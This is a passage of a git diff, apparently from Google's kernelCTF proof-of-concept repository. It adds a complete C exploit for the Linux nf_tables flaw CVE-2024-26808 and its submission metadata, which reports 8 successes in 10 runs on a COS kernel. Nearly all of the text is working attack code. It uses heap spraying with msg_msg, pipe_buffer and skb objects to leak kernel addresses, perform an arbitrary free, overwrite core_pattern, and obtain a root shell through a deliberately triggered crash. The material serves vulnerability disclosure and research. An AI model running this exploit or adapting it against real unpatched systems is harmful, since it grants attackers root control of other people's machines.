SYSCHK(mnl_socket_sendto(sock, nlh, nlh->nlmsg_len)); + + int ret = SYSCHK(mnl_socket_recvfrom(sock, buf, sizeof(buf))); + size_t val = *(unsigned long long *)((char *)&buf[100]); + + while (ret > 0) + { + ret = SYSCHK(mnl_cb_run(buf, ret, seq, portid, NULL, NULL)); + if (ret <= 0) + break; + ret = mnl_socket_recvfrom(sock, buf, sizeof(buf)); + // hexdump(buf,ret); + } + return val; +} + +void del_chain(struct mnl_socket *sock, unsigned short family, char *table_name, + char *chain_name) +{ + char buf[MNL_SOCKET_BUFFER_SIZE]; + struct nlmsghdr *nlh; + uint32_t portid, seq, chain_seq; + struct nftnl_chain *t; + struct mnl_nlmsg_batch *batch; + int ret; + + // fprintf(stderr, "[+] Delete chain: %s - %s\n", table_name, chain_name); + t = nftnl_chain_alloc(); + nftnl_chain_set_str(t, NFTNL_CHAIN_TABLE, table_name); + nftnl_chain_set_str(t, NFTNL_CHAIN_NAME, chain_name); + + seq = time(NULL); + batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + chain_seq = seq; + nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), + NFT_MSG_DELCHAIN, family, NLM_F_ACK, seq++); + nftnl_chain_nlmsg_build_payload(nlh, t); + nftnl_chain_free(t); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + portid = mnl_socket_get_portid(sock); + SYSCHK(mnl_socket_sendto(sock, mnl_nlmsg_batch_head(batch), + mnl_nlmsg_batch_size(batch))); + mnl_nlmsg_batch_stop(batch); + ret = SYSCHK(mnl_socket_recvfrom(sock, buf, sizeof(buf))); + // mnl_nlmsg_fprintf(stdout, buf, ret, 0); + while (ret > 0) + { + ret = SYSCHK( + mnl_cb_run(buf, ret, chain_seq, portid, NULL, NULL)); + if (ret <= 0) + break; + ret = SYSCHK(mnl_socket_recvfrom(sock, buf, sizeof(buf))); + } +} + +int sfd[0x100][2]; +int p[0x100]; +int cfd[2]; + +int msqid[0x4000]; + +struct +{ + long mtype; + char mtext[0x2000]; +} msg; + +int main(int argc, char **argv) +{ + // if it called from triggerred crash from core pattern + if (argc > 1) + { + root(argv[1]); + exit(0); + } + set_cpu(0); + setvbuf(stdout, 0, 2, 0); + socketpair(AF_UNIX, SOCK_STREAM, 0, cfd); + if (fork() == 0) + { + int memfd = memfd_create("x", 0); + SYSCHK(sendfile(memfd, open("/proc/self/exe", 0), 0, + 0xffffffff)); + dup2(memfd, 666); + close(memfd); + // wait signal of the finished exploit + read(cfd[0], buf, 1); + // trigger crash + *(size_t *)0 = 0; + } + + for (int i = 0; i < 0x100; i++) + socketpair(AF_UNIX, SOCK_STREAM, 0, sfd[i]); + + printf("[+] Setting up sandbox...\n"); + + SYSCHK(unshare(CLONE_NEWUSER)); + SYSCHK(unshare(CLONE_NEWNET)); + SYSCHK(unshare(CLONE_NEWIPC)); + + for (int i = 0; i < 0x4000; i++) + { + msqid[i] = msgget(IPC_PRIVATE, 0644 | IPC_CREAT); + if (msqid[i] < 0) + printf("msgget01 Failed 0x%x\n", i); + } + // max_num_members == 0x1000 to make struct packet_fanout in kmalloc-4096 cache + // gef➤ p sizeof(struct packet_fanout) + sizeof(struct sock*)*0x100 + // $4 = 0x8c0 + // match = kvzalloc(struct_size(match, arr, args->max_num_members), + // GFP_KERNEL); + struct fanout_args fa = {.max_num_members = 0x100}; + for (int i = 0; i < 0x100; i++) + p[i] = SYSCHK(socket(AF_PACKET, SOCK_RAW, 1)); + + // fprintf(stderr, "[+] Setting up netlink socket...\n"); + struct mnl_socket *nl_route = SYSCHK(mnl_socket_open(NETLINK_ROUTE)); + SYSCHK(mnl_socket_bind(nl_route, 0, MNL_SOCKET_AUTOPID)); + + char device_name[] = "lool"; + char device_name2[] = "loxl"; + char chain_name[] = "Test_chain"; + + // dummy object in kmalloc-cg-4k + for (int i = 0; i < 0x80; i++) + write(sfd[i][1], buf, 0xc00); + // alloc net_device + rt_newlink(nl_route, device_name, 1337); + // dummy object in kmalloc-cg-4k + for (int i = 0x80; i < 0x100; i++) + write(sfd[i][1], buf, 0xc00); + + // alloc net_device + for (int i = 0; i < 0x10; i++) + { + device_name2[0] = 'a' + i; + rt_newlink(nl_route, device_name2, 1338 + i); + } + + struct mnl_socket *nl_nf = SYSCHK(mnl_socket_open(NETLINK_NETFILTER)); + SYSCHK(mnl_socket_bind(nl_nf, 0, MNL_SOCKET_AUTOPID)); + create_table(nl_nf, NFPROTO_INET, "test_netdev"); + // create chain named `test_chain` on `test_netdev` table + create_chain(nl_nf, NFPROTO_INET, "test_netdev", "test_chain", + NF_INET_INGRESS, 10, device_name); + + // create 0x10 chain on `test_netdev` table + for (int i = 0; i < 0x10; i++) + { + chain_name[0] = 'a' + i; + device_name2[0] = 'a' + i; + create_chain(nl_nf, NFPROTO_INET, "test_netdev", chain_name, + NF_INET_INGRESS, 11 + i, device_name2); + } + + // remove dummy object, free up kmalloc-cg-4k cache + for (int i = 0; i < 0x80; i++) + read(sfd[i][0], buf, 0xc00); + + // remove net device on id 1337 + rt_dellink(nl_route, 1337); + + // remove dummy object, free up kmalloc-cg-4k cache + for (int i = 0x80; i < 0x100; i++) + read(sfd[i][0], buf, 0xc00); + + // net device on id 1337 will overwrite by `packet_fanout` object. + for (int i = 0; i < 0x100; i++) + { + fa.id = i; + // alloc `struct packet_fanout` object on kmalloc-4k + SYSCHK(setsockopt(p[i], SOL_PACKET, PACKET_FANOUT, &fa, + sizeof(fa))); + } + + // read the device name -> leak first 8 byte of packet_fanout which is `net` addr + size_t net = + get_chain(nl_nf, NFPROTO_INET, "test_netdev", "test_chain"); + if ((net >> 56) != 0xff) // assumes it's valid kernel addr + exit(0); + + msg.mtype = 1; + for (int i = 0; i < 0x100; i++) + msgsnd(msqid[i], &msg, 0x100 - 0x30, 0); + + // remove another net device + for (int i = 0; i < 0x10; i += 2) // just to make sure we're not dealing with page allocator + rt_dellink(nl_route, 1338 + i); + + // reallocate prev's freed net_device with msg_msg on kmalloc-cg-4k + msg.mtype = 2; + for (int i = 0; i < 0x100; i++) + msgsnd(msqid[i], &msg, 0x1000 - 0x30, 0); + + // fill msg.next with kmalloc-cg-192 + msg.mtype = 3; + for (int i = 0; i < 0x100; i++) + msgsnd(msqid[i], &msg, 0xc0 - 0x30, 0); + + size_t idx = -1; + size_t kheap = 0; + // read the device name -> leak first 8 byte of msg_msg which is msg_msg on kmalloc-cg-192 + for (int i = 0; i < 0x10; i++) + { + chain_name[0] = 'a' + i; + kheap = get_chain(nl_nf, NFPROTO_INET, "test_netdev", + chain_name); + if ((kheap >> 56) == 0xff) + { // assumes it's valid kernel addr + idx = i; + break; + } + } + if (idx == -1) + exit(0); + printf("%lx\n", kheap); + + // free up file descriptors + for (int i = 0; i < 0x100; i++) + close(p[i]); + int pfd[0x80][2]; + + // alloc 0x80 pipe + for (int i = 0; i < 0x80; i++) + pipe(pfd[i]); + + // free msg_msg that allocated before on kmalloc-cg-192 + for (int i = 0; i < 0x100; i++) + msgrcv(msqid[i], &msg, 0xc0 - 0x30, 3, 0); + + msg.mtype = 3; + memset(&msg.mtext[0x1000 - 0x30 - 8], 'a', 0x100); + + // we want to replace those kmalloc-cg-192 with msg_msg_seg + for (int i = 0; i < 0x100; i++) + msgsnd(msqid[i], &msg, 0x1000 - 0x30 + 0xc0 - 0x8, 0); + + // delete another net device object + rt_dellink(nl_route, 1338 + 1); + // craft object for arbitrary free + *(size_t *)(&buf[0x4e8]) = net; + *(size_t *)(&buf[0x350]) = kheap; + // spray uaf object with skb + for (int i = 0; i < 0x80; i++) + write(sfd[i][1], buf, 0xc00); + + chain_name[0] = 'a' + 1; + // perform arbitrary free + del_chain(nl_nf, NFPROTO_INET, "test_netdev", chain_name); + sleep(1); + + // spray pipe_buffer on kmalloc-cg-192 + for (int i = 0; i < 0x40; i++) + SYSCHK(fcntl(pfd[i][1], F_SETPIPE_SZ, 0x4000)); + + // delete another net device object + rt_dellink(nl_route, 1338 + 3); + // craft to perform arbitrary free + *(size_t *)(&buf[0x4e8]) = net; + *(size_t *)(&buf[0x350]) = kheap; + // spray uaf object with skb + for (int i = 0; i < 0x80; i++) + write(sfd[i][1], buf, 0xc00); + chain_name[0] = 'a' + 3; + // perform arbitrary free (again) + del_chain(nl_nf, NFPROTO_INET, "test_netdev", chain_name); + sleep(1); + + //Write 0x1000 bytes to pipe A, it will increase `pipe->head` + //doesn't touch to important field of `msg_msgseg.next` which located at the first eight bytes need to be null. + for (int i = 0; i < 0x40; i++) + write(pfd[i][1], buf, 0x1000); + + + msg.mtype = 6; + memset(&msg.mtext[0x1000 - 0x30 - 8], 'a', 0x100); + // reclaim the pipe_buffer with msg_msg_seg on kmalloc-cg-192 + for (int i = 0; i < 0x100; i++) + msgsnd(msqid[i + 0x2000], &msg, 0x1000 - 0x30 + 0xc0 - 0x8, 0); + + // get vDSO addr + size_t *vvar = ((size_t *)getauxval(AT_SYSINFO_EHDR)); + struct iovec iov = {vvar, 1}; + // vmsplice vDSO to the pipe, it will spill struct page of kernel text to the pipe + for (int i = 0; i < 0x40; i++) + SYSCHK(vmsplice(pfd[i][1], &iov, 1, 0)); + + for (int i = 0; i < 0x100; i++) + { + // read msg_msg_seg content + msgrcv(msqid[i + 0x2000], &msg, 0x1000 - 0x30 + 0xc0 - 0x8, 0, + MSG_COPY | IPC_NOWAIT); + struct pipe_buffer *p = + (void *)&msg.mtext[0x1000 - 0x30 - 0x8 + 0x28]; + if (p->len == 1) + { + printf("%p\n", p->page); + // free this msg_msg_seg + msgrcv(msqid[i + 0x2000], &msg, + 0x1000 - 0x30 + 0xc0 - 0x8, 6, 0); + // modify struct page that will represent of `core_pattern`'s page + // p->page was originally pointing vdso_image_64.data. + // the difference between the address of the pages of vdso_image_64.data and core_pattern is 0x863000 + // every 4096 byte page, there is a 64 byte struct page* stored in vmemmap, + // so to calculate the difference between struct page* addresses, you have to do: 0x863000 / 4096 * 64 which equals to 0x863000 >> 6 + + // gef➤ p vdso_image_64.data + // $5 = (void *) 0xffffffff82d3b000 + // gef➤ p &core_pattern + // $6 = (char (*)[128]) 0xffffffff8359e7a0 + // gef➤ p 0xffffffff8359e000-0xffffffff82d3b000 + // $7 = 0x863000 + + p->page += (0x863000 >> 6); + // core_pattern is 0xffffffff8359e7a0, so 0x7a0 is the offset within core_pattern's page. + // Since p->len == 1, we need to subtract one on p->offset + p->offset = 0x7a0 - 1; + p->flags = 0x10; // PIPE_BUF_FLAG_CAN_MERGE, apply every pipe write to the page + break; + } + } + msg.mtype = 7; + // overwrite the pipe_buffer with msg_msg_seg (with our own modified pipe_buffer content) + for (int i = 0; i < 0x100; i++) + msgsnd(msqid[i + 0x2000], &msg, 0x1000 - 0x30 + 0xc0 - 0x8, 0); + + // write to the pipe_buffer, it will applied to the core_pattern value + for (int i = 0; i < 0x40; i++) + dprintf(pfd[i][1], "%s", "|/proc/%P/fd/666 %P\n"); + + // show content of core_pattern + system("cat /proc/sys/kernel/core_pattern"); + // trigger root shell + write(cfd[1], buf, 1); + while (1) + sleep(100); + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2024-26808_cos/metadata.json b/pocs/linux/kernelctf/CVE-2024-26808_cos/metadata.json new file mode 100755 index 00000000..f70480dc --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26808_cos/metadata.json @@ -0,0 +1,33 @@ +{ + "$schema":"https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids":[ + "exp154" + ], + "vulnerability":{ + "patch_commit":"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?h=linux-5.15.y&id=70f17b48c86622217a58d5099d29242fc9adac58", + "cve":"CVE-2024-26808", + "affected_versions":[ + "5.9 - 6.6" + ], + "requirements":{ + "attack_surface":[ + "userns" + ], + "capabilities":[ + "CAP_NET_ADMIN" + ], + "kernel_config":[ + "CONFIG_NF_TABLES" + ] + } + }, + "exploits": { + "cos-105-17412.294.36": { + "uses":[ + "userns" + ], + "requires_separate_kaslr_leak": false, + "stability_notes":"8 times success per 10 times run" + } + } + } diff --git a/pocs/linux/kernelctf/CVE-2024-26808_cos/original.tar.gz b/pocs/linux/kernelctf/CVE-2024-26808_cos/original.tar.gz new file mode 100755 index 00000000..f3b4a3fc Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-26808_cos/original.tar.gz differ